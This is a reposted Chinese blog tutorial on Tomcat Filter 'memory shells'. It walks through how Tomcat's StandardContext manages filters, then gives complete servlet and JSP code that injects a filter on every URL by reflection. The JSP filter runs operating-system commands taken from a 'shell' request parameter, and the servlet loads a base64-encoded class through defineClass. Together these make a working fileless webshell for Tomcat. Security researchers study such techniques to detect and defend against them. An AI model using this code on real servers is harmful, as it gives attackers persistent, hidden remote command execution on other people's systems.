经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 数据库/运维 » Linux/Shell » 查看文章
tomcat Filter内存马
来源:cnblogs  作者:功夫小熊猫  时间:2023/7/5 9:28:28  对本文有异议

idea调试的时候加入源代码

  1. <dependency>
  2. <groupId>org.apache.tomcat</groupId>
  3. <artifactId>tomcat-catalina</artifactId>
  4. <version>8.5.81</version>
  5. <scope>provided</scope>
  6. </dependency>

Servlet、Listener、Filter 由 javax.servlet.ServletContext 去加载,无论是使用 xml 配置文件还是使用 Annotation 注解配置,均由 Web 容器进行初始化,读取其中的配置属性,然后向容器中进行注册。

Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 add/create 方法来实现动态注册的功能。

ServletContext

它会为每个web程序都创建一个对应的ServletContext对象,它代表当前的web应用。 事实上SpringMVC封装的ApplicationContext 以及Struts2封装的ApplicationContext里面都是保存着原本的ServletContext。

作用:

  • Web应用范围内存取共享数据;
  • 访问web应用的静态资源;
  • Servlet对象之间通过ServletContext对象来实现通讯。

ServletContext跟StandardContext的关系

  1. StandardContext

    • StandardContext是Tomcat服务器中的一个组件,用于管理Web应用程序的上下文(Context)。
    • 它是javax.servlet.ServletContext接口的实现类,提供了一些额外的功能和管理能力。
    • StandardContext负责加载和初始化Web应用程序的配置信息,包括Servlet、Filter、Listener等组件的注册和管理。
    • 它还提供了对Web应用程序的生命周期管理,例如启动、停止和重新加载等操作。
  2. ServletContext

    • ServletContext是Java Servlet规范中的一个接口,表示Web应用程序的上下文。
    • 每个Web应用程序都有一个唯一的ServletContext实例,用于在应用程序内共享信息和资源。
    • ServletContext提供了一些方法,用于获取Web应用程序的初始化参数、访问应用程序范围的属性、读取Web应用程序的配置信息等。
    • 它还提供了一些与Web容器交互的方法,例如获取请求调度器、获取资源的真实路径等。

总结:
StandardContext是Tomcat服务器中用于管理Web应用程序的上下文的实现类,而ServletContext是Java Servlet规范中定义的用于表示Web应用程序上下文的接口。它们的主要区别在于StandardContext提供了更多的管理和生命周期控制功能,而ServletContext则提供了访问应用程序范围的属性和配置信息的方法。

Tomcat 中有 4 类容器组件,从上至下依次是:

  • Engine,实现类为 org.apache.catalina.core.StandardEngine
  • Host,实现类为 org.apache.catalina.core.StandardHost
  • Context,实现类为 org.apache.catalina.core.StandardContext
  • Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

Filter 内存马

Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。

通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:

  1. 使用 ServletContext 的 addFilter/createFilter 方法注册;
  2. 使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册(将会在 Listener 中进行描述);
  3. 使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册(非动态,后面会描述)。

追溯Filter的doFilter:

  1. FilterDemo重写了doFilter,如何执行到FilterDemo的doFilter?

  2. ApplicationFilterChain的doFilter被执行,执行了internalDoFilter;

  3. filters[]是存放ApplicationFilterConfig的地方,包含filterDef和fitler对象,取出每个元组,赋值给filterConfig;

    Filter filter = filterConfig.getFilter();

  4. 然后执行了filter.doFilter(request, response, this);

  5. filters[]是在哪里赋值的呢?

  6. 在StandardWrapperValve的invoke中

    ApplicationFilterChain filterChain =
    ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);然后执行了filterChain.doFilter。

    看看createFilterChain里面做了什么?

  7. 在ApplicationFilterFactory的createFilterChain中

    ApplicationFilterChain filterChain = null;

    StandardContext context = (StandardContext) wrapper.getParent();

    FilterMap filterMaps[] = context.findFilterMaps();从StandardContext配置文件中获取filter,放入filterMaps

    这里是根据前面获取的filterMaps循环来获取的

    1. for (FilterMap filterMap : filterMaps)
    2. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
    3. context.findFilterConfig(filterMap.getFilterName());
    4. filterChain.addFilter(filterConfig);
  8. filterChain.addFilter(filterConfig),最后return filterChain。

  9. 在ApplicationFilterChain的addFilter中做了什么?filters[n++] = filterConfig;所以最终filters[]里面会有所有filter的filterConfig;

  1. FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef Filter 对象等信息
  2. FilterDefs:存放 FilterDef 的数组 FilterDef 中存储着我们过滤器名,过滤器实例等基本信息
  3. FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 对应的 URLPattern

fiterConfig的内容都是从context中得到,因此只要我们能控制context的内容就行了

动态注册Filter

经过上面的分析,我们可以总结出动态注册Filter的流程:

  1. 获取上下文对象StandardContext
  2. 创建恶意Filter
  3. 构造FilterDef封装filter
  4. 创建filterMap,将路径与Filtername绑定,将其添加到filterMaps中
  5. 使用FilterConfig封装filterDef,然后将其添加到filterConfigs中
  1. package com.example.webshellfilter;
  2. import org.apache.catalina.core.ApplicationContext;
  3. import org.apache.catalina.core.ApplicationContextFacade;
  4. import org.apache.catalina.core.ApplicationFilterConfig;
  5. import org.apache.catalina.core.StandardContext;
  6. import org.apache.tomcat.util.descriptor.web.FilterDef;
  7. import org.apache.tomcat.util.descriptor.web.FilterMap;
  8. import sun.misc.BASE64Decoder;
  9. import javax.servlet.Filter;
  10. import javax.servlet.ServletContext;
  11. import javax.servlet.annotation.WebServlet;
  12. import javax.servlet.http.HttpServlet;
  13. import javax.servlet.http.HttpServletRequest;
  14. import javax.servlet.http.HttpServletResponse;
  15. import java.io.IOException;
  16. import java.io.PrintWriter;
  17. import java.lang.reflect.Constructor;
  18. import java.lang.reflect.Field;
  19. import java.lang.reflect.Method;
  20. import java.util.ArrayList;
  21. import java.util.HashMap;
  22. import java.util.List;
  23. @WebServlet(name = "filterServlet", value = "/filterServlet")
  24. public class FilterServletDemo extends HttpServlet {
  25. public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
  26. try {
  27. //1、通过request获取ServletContext类
  28. //通过request获取servletContext
  29. ServletContext servletContext = request.getServletContext();
  30. //其实这里是ApplicationContextFacade的类
  31. System.out.println(servletContext.getClass());
  32. Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");
  33. applicationContextFacadefield.setAccessible(true);
  34. //获取servletContext对象中的context的值,因为是ApplicationContextFacade所以获取到的context是ApplicationContext
  35. ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);
  36. //通过applicationContext对象获取StandardContext
  37. Field standardContextfield = applicationContext.getClass().getDeclaredField("context");
  38. standardContextfield.setAccessible(true);
  39. StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);
  40. //将Filter对象通过反射实现加载
  41. ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
  42. //2、在Java中,可以使用defineClass方法将一个类动态地注入到当前的JVM中,这里将filter类注入进去
  43. Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
  44. defineClass.setAccessible(true);
  45. BASE64Decoder base64Decoder = new BASE64Decoder();
  46. byte[] code = base64Decoder.decodeBuffer("yv66vgAAADQAWg....");
  47. defineClass.invoke(classLoader,code, 0, code.length);
  48. //3、添加filterDef
  49. System.out.println(Class.forName("FilterDemo").getName());
  50. Filter filterDemo = (Filter) Class.forName("FilterDemo").newInstance();
  51. FilterDef filterDef = new FilterDef();
  52. filterDef.setFilter(filterDemo);
  53. filterDef.setFilterName("FilterDemo");
  54. standardContext.addFilterDef(filterDef);
  55. //4、添加filterMap
  56. FilterMap filterMap = new FilterMap();
  57. filterMap.setFilterName("FilterDemo");
  58. filterMap.addURLPattern("/*");
  59. standardContext.addFilterMap(filterMap);
  60. //添加到standardContext的filterConfigs中
  61. //反射获取filterConfigs
  62. //由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs
  63. Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
  64. filterConfigs.setAccessible(true);
  65. HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
  66. Constructor<?> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];
  67. declaredConstructor.setAccessible(true);
  68. hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));
  69. PrintWriter out = response.getWriter();
  70. out.println("over");
  71. } catch (Exception e) {
  72. throw new RuntimeException(e);
  73. }
  74. }
  75. }

jsp实现

  1. <%@ page language="java" %>
  2. <%@ page import="javax.servlet.http.HttpServletRequest" %>
  3. <%@ page import="javax.servlet.http.HttpServletResponse" %>
  4. <%@ page import="java.lang.reflect.Field" %>
  5. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  6. <%@ page import="org.apache.catalina.core.StandardContext" %>
  7. <%@ page import="java.lang.reflect.Method" %>
  8. <%@ page import="sun.misc.BASE64Decoder" %>
  9. <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
  10. <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
  11. <%@ page import="java.util.HashMap" %>
  12. <%@ page import="java.lang.reflect.Constructor" %>
  13. <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
  14. <%@ page import="java.io.IOException" %>
  15. <html>
  16. <head>
  17. <title>Get Request Object in JSP</title>
  18. </head>
  19. <body>
  20. <h1>Get Request Object in JSP</h1>
  21. <%
  22. class FilterDemo implements Filter {
  23. @Override
  24. public void init(FilterConfig filterConfig) throws ServletException {
  25. System.out.println("初始加完成");
  26. }
  27. @Override
  28. public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  29. servletRequest.setCharacterEncoding("utf-8");
  30. servletResponse.setCharacterEncoding("utf-8");
  31. servletResponse.setContentType("text/html;charset=UTF-8");
  32. System.out.println(servletRequest.getParameter("shell"));
  33. Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
  34. System.out.println("过滤中。。。");
  35. filterChain.doFilter(servletRequest,servletResponse);
  36. }
  37. @Override
  38. public void destroy() {
  39. System.out.println("过滤结束");
  40. }
  41. }
  42. //1、通过request获取ServletContext类
  43. //通过request获取servletContext
  44. ServletContext servletContext = request.getServletContext();
  45. //其实这里是ApplicationContextFacade的类
  46. System.out.println(servletContext.getClass());
  47. Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");
  48. applicationContextFacadefield.setAccessible(true);
  49. //获取servletContext对象中的context的值,因为是ApplicationContextFacade所以获取到的context是ApplicationContext
  50. ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);
  51. //通过applicationContext对象获取StandardContext
  52. Field standardContextfield = applicationContext.getClass().getDeclaredField("context");
  53. standardContextfield.setAccessible(true);
  54. StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);
  55. //3、添加filterDef
  56. FilterDemo filterDemo = new FilterDemo();
  57. FilterDef filterDef = new FilterDef();
  58. filterDef.setFilter(filterDemo);
  59. filterDef.setFilterName("FilterDemo");
  60. filterDef.setFilterClass(filterDemo.getClass().getName());
  61. standardContext.addFilterDef(filterDef);
  62. //4、添加filterMap
  63. FilterMap filterMap = new FilterMap();
  64. filterMap.setFilterName("FilterDemo");
  65. filterMap.addURLPattern("/*");
  66. standardContext.addFilterMap(filterMap);
  67. //添加到standardContext的filterConfigs中
  68. //反射获取filterConfigs
  69. //由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs
  70. Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
  71. filterConfigs.setAccessible(true);
  72. HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
  73. Constructor<?> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];
  74. declaredConstructor.setAccessible(true);
  75. hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));
  76. System.out.println("over");
  77. %>
  78. </body>
  79. </html>

原文链接:https://www.cnblogs.com/vpandaxjl/p/17527298.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号